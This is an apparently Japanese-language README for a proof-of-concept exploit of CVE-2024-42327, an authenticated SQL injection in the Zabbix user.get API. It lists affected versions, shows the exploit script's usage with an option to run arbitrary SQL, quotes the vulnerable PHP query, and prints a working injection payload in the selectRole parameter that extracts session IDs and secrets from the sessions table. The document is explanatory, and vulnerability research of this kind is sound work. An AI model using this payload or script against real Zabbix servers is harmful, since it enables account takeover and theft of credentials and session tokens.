
Zabbixのuser.get APIメソッドを介した認証済みSQLインジェクション(CVE-2024-42327)のPOC
CVE-2024-42327のPOCです。Zabbixのuser.get APIメソッドを介した認証済みSQLインジェクションです。 このPOCは、他のPOCのように時間ベースではありません。
この脆弱性はuser.get APIエンドポイントに存在し、APIアクセス権を持つ非管理者ユーザー(デフォルトのUserロールを持つアカウントを含む)によって悪用される可能性があります。
SQLインジェクションの欠陥は、CUserクラスのaddRelatedObjects関数に存在します。この関数は、APIアクセス権を持つユーザーが利用できるCUser.get関数から呼び出されます。
攻撃者はAPI呼び出しを操作してSQLコマンドを注入する可能性があります。
この脆弱性を悪用されると、攻撃者が不正なアクセスと制御を取得する可能性があります。
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
このPOCは、データベースからユーザー資格情報を漏えいさせるとともに、APIで認証するためのセッショントークンも漏えいさせます。
カスタムSQLクエリ(--query)を実行するオプションもあります。
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php のコードをaddRelatedObjects関数で調べると、脆弱なSQLクエリ(3046行から3051行)が簡単に見つかります。
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
$options['selectRole']に含まれる値がSQLクエリに渡されていることはすぐに明らかです。
このコード部分に到達する典型的なJSONブロブは次のようになります。
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
"selectRole"の値を細工してSQLインジェクションを可能にできます。
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
上記のインジェクションにより、SQLクエリは次のようになります:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)